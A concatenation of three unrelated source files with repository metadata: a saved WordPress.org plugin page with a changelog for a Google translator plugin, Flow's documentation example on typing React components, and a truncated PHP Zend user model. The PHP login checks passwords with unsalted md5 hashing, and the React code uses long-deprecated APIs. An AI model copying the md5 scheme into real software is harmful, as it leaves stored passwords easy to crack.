<p>5.0.07<br /> &#8211; Changed the flag for Chinese(Traditional) to the Taiwanese flag. Requested long ago by a few users &#8211; thanks for your months of patience!</p> <p>5.0.06<br /> &#8211; Fixed a XSS Cross Scripting Vulnerability in the plugin, as requested by WordPress.org. Unnecessary code (during testing) was being posted to the settings page, so the code was removed.</p> <p>5.0.05<br /> &#8211; Added 3 new options to the settings page: English, Spanish, and Portuguese flag image variations.<br /> &#8211; Fixed an error with the Floating Widget: order of flags was not being honored in certain cases.</p> <p>5.0.04<br /> &#8211; Corrected the text on the settings page to reflect 91 total flags, instead of 81 flags.</p> <p>5.0.03<br /> &#8211; Added 10 new languages and associated flags: Chichewa, Kazakh, Malagasy, Malayalam, Myanmar(Burmese), Sesotho, Sinhala, Sundanese, Tajik, and Uzbek.</p> <p>5.0.02<br /> &#8211; Updated the Tamil flag to use the Indian flag, instead of Tamil Tigers flag.</p> <p>5.0.01<br /> &#8211; Updated style.css to reflect the syntax error connecting to the Chinese flag.</p> <p>5.0.0<br /> &#8211; WordPress security updates added to the settings page [wp_nonce_field()].<br /> &#8211; Removed 3 outside Javascript files &#8211; these files are now called upon directly from WordPress CMS.<br /> &#8211; Unpacked flags.js p,a,c,k,e,r code. Unknowingly, this method of coding violated WordPress plugin policy.<br /> &#8211; Updated pricing display for GLT Premium. It was displaying $15 previously, but the price had increased since the last update.</p> <p>4.0.9<br /> &#8211; Replaced: incorrect Catalonian flag image, with the correct image. I apologize for any inconvenience.<br /> &#8211; Fixed: Floating Widget issue &#8211; previously it loaded 2 times when shortcode was added, which caused it not to work.</p> <p>4.0.8<br /> &#8211; Fixed the small syntax issue related to the Google Analytics tracking number &#8211; it was another cause of the language box not displaying.</p> <p>4.0.7<br /> &#8211; Fixed a CSS error in the settings panel display.<br /> &#8211; Fixed the coding issue when &#8220;Specific Languages&#8221; option is chosen &#8211; the shortcode was not displaying the language dropdown.</p> <p>4.0.6</p> <ul> <li>Removed: &#8220;onclick&#8221; events from diplaying directly inside HTML. Converted those events to jQuery.</li> <li>Fixed the shortcode that allows adding single languages to WordPress menus. (New example is shown on settings page.)</li> <li>Consolidated all flag images into image sprites!</li> <li>Re-designed 10 flag images to match the quality of the other flags.</li> <li>Fixed the incorrect &#8220;alt&#8221; tags associated with flag images. The &#8220;alt&#8221; tag now displays the language name.</li> <li>Modified text on the settings page &#8211; also added some lightbox pop-ups to help explain settings.</li> <li>New updates have also been provided for our Premium version (currently version 4.0.1) located at http://www.wp-studio.net/</li> </ul> <p>4.0.5</p> <ul> <li>Fixed: Display bug when using single language shortcode.</li> <li>Added: New link on the Plugins menu page, which links directly to Google Language Translator settings.</li> </ul> <p>4.0.4</p> <ul> <li>Added NEW shortcode! Allows placement of single languages into the navigation menu, pages, and posts. See settings panel for usage details.</li> <li>Re-factored code in googlelanguagetranslator.php which reduced code to around 950 lines.</li> <li>Removed the &#8220;de-activation&#8221; hook, which previously deleted options when plugin de-activated. Added &#8220;uninstall&#8221; hook instead, so that settings will be preserved only when user deletes the plugin completely.</li> <li>Updated CSS styles for the flags area to prevent themes from overriding layouts.</li> </ul> <p>4.0.3</p> <ul> <li>Adjusted CSS styles for the flag display.</li> </ul> <p>4.0.2</p> <ul> <li>Eliminated all (or most) HTML validation errors. Big improvement!</li> <li>Re-factored more code to increase efficiency.</li> <li>Added de-activation hook to reset all plugin settings when plugin is de-activated. (CSS Overrides and Google Analytics ID setting will remain in place and won&#8217;t be deleted.)</li> <li>Fixed the issue with flag language checkboxes. Users can remove English flag if so desired. Previously, English flag was alway required to stay checked, which was not most user-friendly.</li> </ul> <p>4.0.1</p> <ul> <li>Fixed PHP errors that were neglected in upgrade to 4.0.</li> <li>Added conditionals to prevent scripts from loading when the floating widget is turned off.</li> </ul> <p>4.0</p> <ul> <li>Added 2 new features: 1) Drag/drop flags to re-arrange their order, and 2) Custom flag sizes (16px to 24px).</li> <li>Re-factored code in google-language-translator.php. Languages are now loaded dynamically and are not hard-coded.</li> <li>GLT Premium is now released: Updates include multiple flags for English, Spanish, and Portuguese languages; customized URLs with &#8216;lang&#8217; attribute; drag/drop flags to re-arrnage their order</li> </ul> <p>3.0.9</p> <ul> <li>Added a title field to the Google Language Translator widget.</li> <li>Removed &#8220;unexpected text characters&#8221; error upon activation (due to error in activation hook).</li> </ul> <p>3.0.8</p> <ul> <li>Added 9 new languages into the plugin (Hausa, Igbo, Maori, Mongolian, Nepali, Punjabi, Somali, Yoruba, Zulu).</li> <li>Corrected an &#8220;undefined variable&#8221; error that was being generated in Vertical and Horizontal layouts.</li> <li>Re-structured coding once again into an Object-Oriented approach.</li> <li>Moved all functions of the base class into &#8216;googlelanguagetranslator.php&#8217; and the widget into &#8216;widget.php&#8217;.</li> <li>Moved all javascript files into it&#8217;s own JS folder.</li> <li>Fixed an display issue with &#8220;Edit Translations&#8221; &#8211; they were being hidden when &#8220;No branding&#8221; option was chosen.</li> <li>Corrected various &#8220;comma&#8221; errors in the string that outputs the script for loading the translator.</li> <li>Changed Changelog in readme.txt to show most recent changes first, instead of last.</li> </ul> <p>3.0.7</p> <ul> <li>Removed an unnecessary CSS file, left over from development. Sorry for any inconvenience if you received display errors.</li> </ul> <p>3.0.6</p> <ul> <li>Corrected a small display error in displaying the floating widget correctly.</li> </ul> <p>3.0.5</p> <ul> <li>Added new Floating Widget (see settings page). The Floating Widget is simply another way for allowing website visitors to translate languages. The functionality is built-in with the existing flag preferences, and can be turned on or off at the administrator&#8217;s preference. The floating widget can also function in full with both the language box and/or flags showing OR hiding, so the administrator has full control of how it displays. The floating widget is placed at bottom right of the website in the free version, but can be placed in other locations by changing CSS styles associated with the box. The premium version will allow more options as to changing the Floating Widget location.</li> <li>Fixed the issue with Dashboard styles loading on the wrong pages. This was causing some annoying display issues on the WordPress Dashboard.</li> </ul> <p>3.0.4</p> <ul> <li>Re-factored/re-arranged more code in google languagetransltor.php by placing them into separate files.</li> <li>Fixed the issue of Custom CSS box not displaying it&#8217;s styles to the website. This was only missed in this last update, due to re-arrangement of the files. Sorry for any inconvenience.</li> <li>Removed style2.php file, which is unnecessary and was being used in testing.</li> </ul> <p>3.0.3</p> <ul> <li>Re-factored/re-arranged some of the code in googlelanguagetranslator.php by placing them into separate files.</li> <li>Fixed a minor coding issue in glt_widget.php &#8211; this was generating an error in WordPress when debugging.</li> <li>Moved all CSS code into a single file. The result is nice, clean inline CSS code that is now called only once.</li> <li>Fixed some additional CSS display issues.</li> </ul> <p>3.0.2</p> <ul> <li>Adjusted additional minor invalid HTML issues on the settings page, and also in the front-end plugin display.</li> </ul> <p>3.0.1</p> <ul> <li>Changed the url request to Google to allow both unsecured and secured page translations. Previously, some users experienced errors when trying to use the translator on &#8220;https://&#8221; (secured) pages.</li> <li>Adjusted some minor spacing issues in the settings page HTML (caused some annoying red HTML errors when using &#8220;View Source&#8221; in right-click menu).</li> <li>Removed old CSS styles that were added in the previous 3.0 update &#8211; the styles were added when Google servers were being updated, and were producing major translation dislay issues until their update was complete. Now the styles I added are no longer needed.</li> </ul> <p>3.0</p> <ul> <li>Correct a small CSS error that affected the showing/hiding of the Google toolbar.</li> </ul> <p>2.9</p> <p>***IMPORTANT: Google&#8217;s most recent server update is producing display issues for website translation tool. There are major display issues with the translation toolbar and also the translations editing interface. Version 2.9 temporarily hides the edit translation functionality until Google decides to fix this issue, although you can still edit translations directly through your Google account at translate.google.com. Please direct any support requests through WordPress.org and we will be happy to assist you.</p> <ul> <li>Fixed Google Translation toolbar display issue</li> <li>Fixed the Edit Translation interface by hiding it temporarily until Google fixes this</li> <li>Removed some unneeded styles from the style sheet.</li> <li>Fixed some CSS issues for the Google Branding display, which was affected by Google&#8217;s most recent update</li> </ul> <p>2.8</p> <ul> <li>Added an option to allow users to manage their own translations directly through their Google Translate account (free). When activated, users can hover over the text of their website, and edit the translations from the webpage directly. Google will remember these translations, and then serve them to users once the edits are made. Users must install the Google Translate Customization meta tag provided through Google Translate here: translate.google.com/manager/website/settings. To obtain this meta tag, users need to configure the Google Translate tool directly from this website (although they will not use this because the plugin provides it), then the user can obtain the meta tag on the &#8220;Get Code&#8221; screen, which is displayed after configuring the Google Translate tool on this webpage.</li> <li>Added an option to allow users to turn on/off Google&#8217;s multilanguagePage option, that when activated, the original website content will be a forced translation, instead of original content (but only after a translation is made.)</li> <li>Added more flexible styles to the settings page, so that left and right panels display nicely to the user.</li> </ul> <p>2.7</p> <ul> <li> <p>Added Google Analytics tracking capability to the plugin.</p> </li> <li> <p>Added a &#8220;CSS Styles&#8221; box in the settings panel.</p> </li> <li> <p>Changed the Catalonian flag to its correct flag image.</p> </li> <li> <p>Fixed coding issues that previously updated options incorrectly, which is why many users experienced display issues. All options are now initialized upon plugin activation, which should fix this issue permanently.</p> </li> <li> <p>Fixed a glitch in our usage of the translate API. Previously, when the user clicked the default language, it would toggle back and forth between the default language and &#8220;Afrikaans&#8221; language. Now, users will see the correct language displayed at all times, no matter how many times it is clicked.</p> </li> </ul> <p>2.6</p> <ul> <li>Added defaults to all options to ensure there are no more issues with the translator displaying upon installation. Again, sorry for any inconvenience.</li> </ul> <p>2.5</p> <ul> <li> <p>Eliminated an internal WordPress error being generated from a coding mistake.</p> </li> <li> <p>Added a default option for the Translator alingment. Previously, this was causing the plugin to disapppear.</p> </li> </ul> <p>2.4</p> <ul> <li>Found a couple of small display errors in the settings page after uploading version 2.3. Sorry for any inconvenience!</li> </ul> <p>2.3</p> <ul> <li> <p>Added a &#8220;Preview&#8221; area on the settings page that allows you to see your settings in action.</p> </li> <li> <p>Added custom flag support for all languages (custom flags available ONLY when selecting the &#8220;ALL Languages&#8221; setting.</p> </li> <li> <p>Added an option that allows left/right alignment of the translation tool.</p> </li> <li> <p>Added the &#8220;Google Language Translator&#8221; widget.</p> </li> <li> <p>Updated googlelanguagetranslator.php to properly register setting in the admin settings panel.</p> </li> </ul> <p>2.2</p> <ul> <li> <p>Added language &#8220;Portuguese&#8221; and &#8220;German&#8221; to the Original Language drop-down option on the settings page.</p> </li> <li> <p>Changed flag image for the English language (changed United States flag to the United Kingdom flag).</p> </li> <li> <p>Added link in the settings panel that points to Google&#8217;s Attribution Policy.</p> </li> </ul> <p>2.1</p> <ul> <li> <p>Added language &#8220;Dutch&#8221; to the Original Language drop-down option on the settings page.</p> </li> <li> <p>Added a new CSS class that more accurately hides the &#8220;Powered by&#8221; text when hiding Google&#8217;s branding. In previous version, the &#8220;Powered by&#8221; text was actually disguised by setting it&#8217;s color to &#8220;transparent&#8221;, but now we have set it&#8217;s font-size to 0px instead.</p> </li> </ul> <p>2.0 Corrected some immediate errors in the 1.9 update.</p> <p>1.9</p> <ul> <li> <p>Added 7 flag image choices that, when clicked by website visitors, will change the language displayed, both on the website, AND in the drop-down box (flag language choices are limited to those provided in this plugin).</p> </li> <li> <p>Added 6 additional languages to the translator, as provided in Google&#8217;s most recent updates ( new languages include Bosnian, Cebuano, Khmer, Marathi, Hmong, Javanese ).</p> </li> <li> <p>Corrected a minor technical issue where the Czech option (on the backend) was incorrectly displaying the Croatian language on the front end.</p> </li> <li> <p>Added jQuery functionality to the settings panel to improve the user experience.</p> </li> <li> <p>Added an option for users to display/hide the flag images.</p> </li> <li> <p>Added an option for users to display/hide the translate box when flags are displayed.</p> </li> <li> <p>Removed the settings.css file &#8211; I found a better way of displaying the options without CSS.</p> </li> </ul> <p>1.8 Modified google-language-translator.php to display the correct output to the browser when horizontal layout is selected. Previously, it was not displaying at all.</p> <p>1.7 Modified google-language-translator.php so that jQuery and CSS styles were enqueued properly onto the settings page only. Previously, jQuery functionality and CSS styles were being added to all pages of the WordPresss Dashboard, which was causing functionality and display issues for some users.</p> <p>1.6 Added &#8220;Specific Language&#8221; support to the plugin settings, which allows the user to choose specific languages that are displayed to website visitors.</p> <p>1.5 Added &#8220;Original Language&#8221; support to the plugin settings, which allows the user to choose the original language of their website, which ultimately removes the original language as a choice in the language drop-down presented to website visitors.</p> <p>1.4 Corrected display problems associated with CSS styles not being placed correctly in wp_head.</p> <p>1.3 HTML display problem in the sidebar area now fixed. Previously, inserting the [google-translator] plugin into a text widget caused it to display above the widget, instead of inside of it.</p> <p>1.2 Shortcode support is now available for adding [google-translator] to text widgets. I apologize for any inconvenience this may have caused.</p> <p>1.1 The shortcode supplied on the settings page was updated to display &#8216;[google-translator]&#8217;.</p></div> <button type="button" class="button-link section-toggle" aria-controls="tab-changelog" aria-describedby="changelog-header" aria-expanded="false" data-show-less="Show less" data-read-more="Read more" >Read more</button> </div><!-- .entry-content --> <div class="entry-meta"> <div class="widget plugin-meta"> <h3 class="screen-reader-text">Meta</h3> <ul> <li>Version: <strong>5.0.30</strong></li> <li> Last updated: <strong><span>3 months</span> ago</strong> </li> <li>Active installs: <strong>100,000+</strong></li> <li>Requires WordPress Version:<strong>2.9</strong></li> <li>Tested up to: <strong>4.6.6</strong></li> <li class="clear">Tags: <div class="tags"><a href="https://wordpress.org/plugins/tags/google-language-translator/" rel="tag">google language translator</a><a href="https://wordpress.org/plugins/tags/google-translator/" rel="tag">google translator</a><a href="https://wordpress.org/plugins/tags/language-translate/" rel="tag">language translate</a><a href="https://wordpress.org/plugins/tags/language-translator/" rel="tag">language translator</a><a href="https://wordpress.org/plugins/tags/translate-wordpress/" rel="tag">translate wordpress</a></div></li> <li class="hide-if-no-js"> <strong><a class="plugin-admin" href="https://wordpress.org/plugins/google-language-translator/advanced/">Advanced View</a></strong> </li> </ul> </div><div class="widget plugin-ratings"><h3 class="widget-title">Ratings</h3> <a class="reviews-link" href="https://wordpress.org/support/plugin/google-language-translator/reviews/">See all</a> <div class="rating"> <div class="wporg-ratings" aria-label="4.5 out of 5 stars" data-title-template="%s out of 5 stars" data-rating="4.5" style="color:#ffb900;"><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-filled"></span><span class="dashicons dashicons-star-half"></span></div> </div> <ul class="ratings-list"> <li class="counter-container"> <a href="https://wordpress.org/support/plugin/google-language-translator/reviews/?filter=5"> <span class="counter-label">5 stars</span> <span class="counter-back"> <span class="counter-bar" style="width: 78.787878787879%;"></span> </span> <span class="counter-count">104</span> </a> </li> <li class="counter-container"> <a href="https://wordpress.org/support/plugin/google-language-translator/reviews/?filter=4"> <span class="counter-label">4 stars</span> <span class="counter-back"> <span class="counter-bar" style="width: 4.5454545454545%;"></span> </span> <span class="counter-count">6</span> </a> </li> <li class="counter-container"> <a href="https://wordpress.org/support/plugin/google-language-translator/reviews/?filter=3"> <span class="counter-label">3 stars</span> <span class="counter-back"> <span class="counter-bar" style="width: 5.3030303030303%;"></span> </span> <span class="counter-count">7</span> </a> </li> <li class="counter-container"> <a href="https://wordpress.org/support/plugin/google-language-translator/reviews/?filter=2"> <span class="counter-label">2 stars</span> <span class="counter-back"> <span class="counter-bar" style="width: 2.2727272727273%;"></span> </span> <span class="counter-count">3</span> </a> </li> <li class="counter-container"> <a href="https://wordpress.org/support/plugin/google-language-translator/reviews/?filter=1"> <span class="counter-label">1 star</span> <span class="counter-back"> <span class="counter-bar" style="width: 9.0909090909091%;"></span> </span> <span class="counter-count">12</span> </a> </li> </ul> </div><div class="widget plugin-support"><h3 class="widget-title">Support</h3> <p class="aside">Issues resolved in last two months:</p> <p class="counter-container"> <span class="counter-back"> <span class="counter-bar" style="width: 6.6666666666667%;"></span> </span> <span class="counter-count"> 1 out of 15 </span> </p> <p> <a class="button" href="https://wordpress.org/support/plugin/google-language-translator">View support forum</a> </p> </div><div class="widget plugin-donate"><h3 class="widget-title">Donate</h3> <p class="aside">Would you like to support the advancement of this plugin?</p> <p> <a class="button button-secondary" href="http://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&#038;hosted_button_id=47LFA33AC89S6" rel="nofollow"> Donate to this plugin </a> </p> </div> </div><!-- .entry-meta --> </article><!-- #post-## --> </main><!-- #main --> </div><!-- #content --> <div id="wporg-footer"> <div class="wrapper"> <ul> <li><a href="//wordpress.org/about/" title="An introduction to the WordPress project">About</a></li> <li><a href="//wordpress.org/news/" title="News and Updates">Blog</a></li> <li><a href="//wordpress.org/hosting/" title="Recommended web hosting providers">Hosting</a></li> <li><a href="//jobs.wordpress.net/" title="Find or post WordPress jobs">Jobs</a></li> </ul> <ul> <li><a href="//wordpress.org/support/" title="Forums, documentation, and other resources">Support</a></li> <li><a href="//developer.wordpress.org" title="Resources for WordPress developers">Developers</a></li> <li><a href="//make.wordpress.org/" title="Give back to WordPress through code, support, translation and more">Get Involved</a></li> <li><a href="//learn.wordpress.org/" title="Workshops and training materials">Learn</a></li> </ul> <ul> <li><a href="//wordpress.org/showcase/" title="Some of the best WordPress sites on the Web">Showcase</a></li> <li><a href="//wordpress.org/plugins/" title="Add extra functionality to WordPress">Plugins</a></li> <li><a href="//wordpress.org/themes/" title="Make your WordPress pretty">Themes</a></li> <li><a href="//wordpress.org/ideas/" title="Share your ideas for improving WordPress">Ideas</a></li> </ul> <ul> <li><a href="//central.wordcamp.org/" title="Find a WordPress event near you">WordCamp</a></li> <li><a href="//wordpress.tv/" title="Videos, tutorials, and WordCamp sessions">WordPress.TV</a></li> <li><a href="//buddypress.org/" title="A set of plugins to transform your WordPress into a social network">BuddyPress</a></li> <li><a href="//bbpress.org/" title="Fast, slick forums built on WordPress">bbPress</a></li> </ul> <ul> <li><a href="//wordpress.com/?ref=wporg-footer" title="Hassle-free WordPress hosting">WordPress.com</a></li> <li><a href="//ma.tt/" title="Co-founder of WordPress, an example of what WordPress can do">Matt</a></li> <li><a href="//wordpress.org/about/privacy/" title="WordPress.org Privacy Policy">Privacy</a></li> <li><a href="//wordpress.org/about/license/" title="WordPress is open source software">License / GPLv2</a></li> </ul> <ul> <li> <iframe title="Follow @WordPress on Twitter" allowtransparency="true" frameborder="0" scrolling="no" src="//platform.twitter.com/widgets/follow_button.html?screen_name=WordPress&amp;show_count=false" style="width:135px; height:20px;"></iframe> </li> <li> <iframe title="Like WordPress on Facebook" src="//www.facebook.com/plugins/like.php?app_id=121415197926116&amp;href=http%3A%2F%2Fwww.facebook.com%2Fwordpress&amp;send=false&amp;layout=button_count&amp;width=135&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=lucida+grande&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:135px; height:21px;" allowTransparency="true"></iframe> </li> <li> <script src="https://apis.google.com/js/platform.js" async defer></script> <div class="g-plusone" data-size="medium" data-href="https://plus.google.com/+WordPress"></div> </li> </ul> </div> <h6 class="aligncenter cip-image">Code is Poetry.</h6> </div> <script type="text/javascript"> var _qevents = _qevents || []; (function() { var elem = document.createElement('script'); elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js"; elem.async = true; elem.type = "text/javascript"; var scpt = document.getElementsByTagName('script')[0]; scpt.parentNode.insertBefore(elem, scpt); })(); </script> <script type="text/javascript">_qevents.push( { qacct:"p-18-mFEk4J448M"} );</script> <noscript><img src="//pixel.quantserve.com/pixel/p-18-mFEk4J448M.gif" style="display: none;" border="0" height="1" width="1" alt=""/></noscript> <!-- 1 queries. 0.057 seconds --> <script type="text/javascript" src="//gravatar.com/js/gprofiles.js"></script> <script type="text/javascript"> (function($){ $(document).ready(function() { $('#footer a').click(function() { if (this.href.indexOf('wordpress.org') == -1 && this.href.indexOf('http') == 0) { recordOutboundLink(this, 'Outbound Links', this.href); return false; } }); }); })(jQuery); </script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-includes/js/admin-bar.min.js?ver=4.9-alpha-41028'></script> <script type='text/javascript' src='https://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201728'></script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-content/themes/pub/wporg-plugins/js/navigation.js?ver=20151215'></script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-content/themes/pub/wporg-plugins/js/skip-link-focus-fix.js?ver=20151215'></script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-content/themes/pub/wporg-plugins/js/section-accordion.js?ver=20161121'></script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-content/themes/pub/wporg-plugins/js/section-faq.js?ver=20170404'></script> <script type='text/javascript'> /* <![CDATA[ */ var wporgLocaleBanner = {"apiURL":"https:\/\/wordpress.org\/plugins\/wp-json\/plugins\/v1\/locale-banner","currentPlugin":"google-language-translator"}; /* ]]> */ </script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-content/themes/pub/wporg-plugins/js/locale-banner.js?ver=20160622'></script> <script type='text/javascript'> /* <![CDATA[ */ var pluginDirectory = {"endpoint":"https:\/\/wordpress.org\/plugins\/wp-json","nonce":"a03d73eda3","base":"\/plugins\/","userId":"0"}; var localeData = {"":{"Plural-Forms":"nplurals=2; plural=n != 1;","Language":"en","localeSlug":"en"}}; /* ]]> */ </script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-content/themes/pub/wporg-plugins/js/theme.js?ver=20170501'></script> <script type='text/javascript' src='https://wordpress.org/plugins/wp-includes/js/wp-embed.min.js?ver=4.9-alpha-41028'></script> <div id="wpadminbar" class="nojq nojs"> <a class="screen-reader-shortcut" href="#wp-toolbar" tabindex="1">Skip to toolbar</a> <div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="Toolbar" tabindex="0"> <ul id="wp-admin-bar-root-default" class="ab-top-menu"> <li id="wp-admin-bar-wp-logo" class="menupop"><a class="ab-item" aria-haspopup="true" href="https://wordpress.org/wp-admin/user/about.php"><span class="ab-icon"></span><span class="screen-reader-text">About WordPress</span></a><div class="ab-sub-wrapper"><ul id="wp-admin-bar-wp-logo-default" class="ab-submenu"> <li id="wp-admin-bar-about"><a class="ab-item" href="https://wordpress.org/wp-admin/user/about.php">About WordPress</a> </li></ul><ul id="wp-admin-bar-wp-logo-external" class="ab-sub-secondary ab-submenu"> <li id="wp-admin-bar-wporg"><a class="ab-item" href="https://wordpress.org/">WordPress.org</a> </li> <li id="wp-admin-bar-documentation"><a class="ab-item" href="https://codex.wordpress.org/">Documentation</a> </li> <li id="wp-admin-bar-support-forums"><a class="ab-item" href="https://wordpress.org/support/">Support Forums</a> </li> <li id="wp-admin-bar-feedback"><a class="ab-item" href="https://wordpress.org/support/forum/requests-and-feedback">Feedback</a> </li></ul></div> </li></ul><ul id="wp-admin-bar-top-secondary" class="ab-top-secondary ab-top-menu"> <li id="wp-admin-bar-search" class="admin-bar-search"><div class="ab-item ab-empty-item" tabindex="-1"><form action="https://wordpress.org/plugins/" method="get" id="adminbarsearch"><input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" /><label for="adminbar-search" class="screen-reader-text">Search</label><input type="submit" class="adminbar-button" value="Search"/></form></div> </li> <li id="wp-admin-bar-log-in"><a class="ab-item" href="https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fplugins%2F">Log In</a> </li> <li id="wp-admin-bar-register"><a class="ab-item" href="https://login.wordpress.org/register">Register</a> </li></ul> </div> </div> </body> </html>
todor-dk/HTML-Renderer
Source/Testing/HtmlRenderer.ExperimentalApp/Data/Files/google tradutor/1395ACB7B162A3984D43FE00F3E8F97A.html
HTML
bsd-3-clause
64,587
/* @flow */ /* --- id: react title: React permalink: /docs/react.html prev: declarations.html --- */ const React = require("react"); const ReactDOM = require("react-dom"); /* React applications are composed of nested components. As React-based applications grow, these component trees and the dependencies between them become increasingly complex. Flow's static analysis makes building large Web apps with React safe by tracking the types of props and state. Flow understands which props are required and also supports default props. React provides a few different ways to define components: * [the `React.createClass` factory](#the-react-createclass-factory), * [`React.Component` subclasses](#defining-components-as-reactcomponent-subclasses), * and [stateless functional components](#stateless-functional-components) This document explains how to make strongly-typed components using all of the above styles and includes an example of a [higher order component](#higher-order-components). */ /* ## The `React.createClass` factory React ships with PropTypes, which verify the props provided to a component. Unlike the static analysis performed by Flow, PropTypes are only checked at runtime. If your testing doesn't trigger every code path that provides props to a component, you might not notice a type error in your program. Flow has built-in support for PropTypes. When Flow sees a `createClass` factory that specifies PropTypes, it is able to statically verify that all elements are constructed using valid props. */ const Greeter = React.createClass({ propTypes: { name: React.PropTypes.string.isRequired, }, render() { return <p>Hello, {this.props.name}!</p>; }, }); // $ExpectError <Greeter />; // Missing `name` // $ExpectError <Greeter name={null} />; // `name` should be a string <Greeter name="World" />; // "Hello, World!" /* Flow understands when a default value is specified via `getDefaultProps` and will not error when the prop is not provided. Note that it's still a good idea to specify `isRequired`, even when a default value is provided, to protect against `null` prop values. React will only use a default value if the prop value is `undefined`. */ const DefaultGreeter = React.createClass({ propTypes: { name: React.PropTypes.string.isRequired, }, getDefaultProps() { return {name: "World"}; }, render() { return <p>Hello, {this.props.name}!</p>; }, }); <DefaultGreeter />; // "Hello, World!" // $ExpectError <DefaultGreeter name={null} />; // `name` should still be a string <DefaultGreeter name="Flow" />; // "Hello, Flow!" /* Flow ensures that state reads and writes are consistent with the object returned from `getInitialState`. */ const Counter = React.createClass({ getInitialState() { return { value: 0, }; }, increment() { this.setState({ // $ExpectError value: this.state.value + "oops!", }); }, decrement() { // $ExpectError(todo: improve this error position) this.setState({ valu: this.state.value - 1, }); }, render() { return ( <div> <button onClick={this.increment}>+</button> <input type="text" size="2" value={this.state.value} /> <button onClick={this.decrement}>-</button> </div> ); }, }); /* ## Defining components as `React.Component` subclasses While PropTypes are great, they are quite limited. For example, it's possible to specify that a prop is some kind of function, but not what parameters that function accepts or what kind of value it might return. Flow has a much richer type system which is able to express those constraints and more. With class-based components, you can specify the components' props, default props, and state using Flow's annotation syntax. */ type Props = { title: string, visited: boolean, onClick: () => void, }; class Button extends React.Component { props: Props; state: { display: 'static' | 'hover' | 'active'; }; static defaultProps: { visited: boolean }; onMouseEnter: () => void; onMouseLeave: () => void; onMouseDown: () => void; constructor(props: Props) { super(props); this.state = { display: 'static', }; const setDisplay = display => this.setState({display}); this.onMouseEnter = () => setDisplay('hover'); this.onMouseLeave = () => setDisplay('static'); this.onMouseDown = () => setDisplay('active'); } render() { let className = 'button ' + this.state.display; if (this.props.visited) { className += ' visited'; } return ( <div className={className} onMouseEnter={this.onMouseEnter} onMouseLeave={this.onMouseLeave} onMouseDown={this.onMouseDown} onClick={this.props.onClick}> {this.props.title} </div> ); } } Button.defaultProps = { visited: false }; function renderButton(container: HTMLElement, visited?: boolean) { const element = ( <Button title="Click me!" visited={visited} onClick={() => { renderButton(container, true); }} /> ); ReactDOM.render(element, container); } /* ## Stateless functional components Any function that returns a React element can be used as a component class in a JSX expression. */ function SayAgain(props: { message: string }) { return ( <div> <p>{props.message}</p> <p>{props.message}</p> </div> ); } <SayAgain message="Echo!" />; <SayAgain message="Save the whales!" />; /* Stateless functional components can specify default props as destructuring with default values. */ function Echo({ message, times = 2 }: { message: string, times?: number }) { var messages = new Array(times).fill(<p>{message}</p>); return ( <div> {messages} </div> ); } <Echo message="Helloooo!" />; <Echo message="Flow rocks!" times={42} />; /* ## Higher-order components Occasionally, repeated patterns in React components can be abstracted into functions that transform one component class into another. In the example below, the HOC `loadAsync` takes a component that requires some arbitrary config and a promise that will eventually provide that config and returns a component that takes care of loading the data and displaying the component asynchronously. */ function loadAsync<Config>( ComposedComponent: ReactClass<Config>, configPromise: Promise<Config>, ): ReactClass<{}> { return class extends React.Component { state: { config: ?Config, loading: boolean, }; load: () => void; constructor(props) { super(props); this.state = { config: null, loading: false, } this.load = () => { this.setState({loading: true}); configPromise.then(config => this.setState({ loading: false, config, })); } } render() { if (this.state.config == null) { let label = this.state.loading ? "Loading..." : "Load"; return ( <button disabled={this.state.loading} onClick={this.load}> {label} </button> ); } else { return <ComposedComponent {...this.state.config} /> } } } } const AsyncGreeter = loadAsync(Greeter, new Promise((resolve, reject) => { setTimeout(() => { resolve({ name: "Async World" }); }, 1000); })); <AsyncGreeter />;
jeffmo/flow
website/docs/ref/react.doc.js
JavaScript
bsd-3-clause
7,479
<?php // Usuario.php /** * Model de Usuario * @filesource 07/03/2010 * @package <<application>> * @subpackage <<application>>.application.models * @version $Id: Usuario.php 187 2012-03-05 22:35:49Z elinis.matos@gmail.com $ */ class Usuario extends Phpdf_Db_Table { const K_PERFIL_PARTICIPANTE = 4; const COLABORADOR = 'S'; protected $_name = 'usuario'; protected $_dependentTables = array( 'Atividade', 'Inscricao', 'Presenca' ); protected $_primary = array('id'); protected $_referenceMap = array( 'Perfil' => array( 'columns' => 'perfil_id', 'refTableClass' => 'Perfil', 'refColumns' => 'id', ), 'Uf' => array( 'columns' => 'uf_id', 'refTableClass' => 'Uf', 'refColumns' => 'id', ) ); /** * Verifica se existe o email passado no banco * @param string $email * @return boolean */ public function hasEmail($email) { // Faz o tratamento para que trate os caracteres de escape $email = $this->getAdapter()->quote($email, 'string'); if($this->fetchRow('email = '. $email)) { return true; } return false; } /** * Faz o login caso o email e senha estejam corretos * @param string $email * @param string $password * @return boolean */ public function login($email, $password) { $authAdapter = new Zend_Auth_Adapter_DbTable( Zend_Db_Table::getDefaultAdapter(), 'usuario', 'email', 'senha', 'md5(?)' ); $authAdapter->setIdentity($email) ->setCredential($password); $auth = Zend_Auth::getInstance(); $result = $auth->authenticate($authAdapter); if($auth->hasIdentity($authAdapter)) { $oIdentify = $authAdapter->getResultRowObject(null, 'senha'); // @FIXME Gravar registros em cache $codigoPerfil = Perfil::build()->find($oIdentify->perfil_id) ->current() ->codigo; $oIdentify->sRole = $codigoPerfil; $auth->getStorage()->write($oIdentify); return true; } return false; } /** * Retorna os usuários que são palestrantes * @return Zend_Db_Table_RowSet */ public function findPalestrante() { $select = $this->select(); $select->from(array('u' => 'usuario'), array( 'nome_palestrante' => 'nome' , 'email', 'cpf' ) ) ->setIntegrityCheck(false) 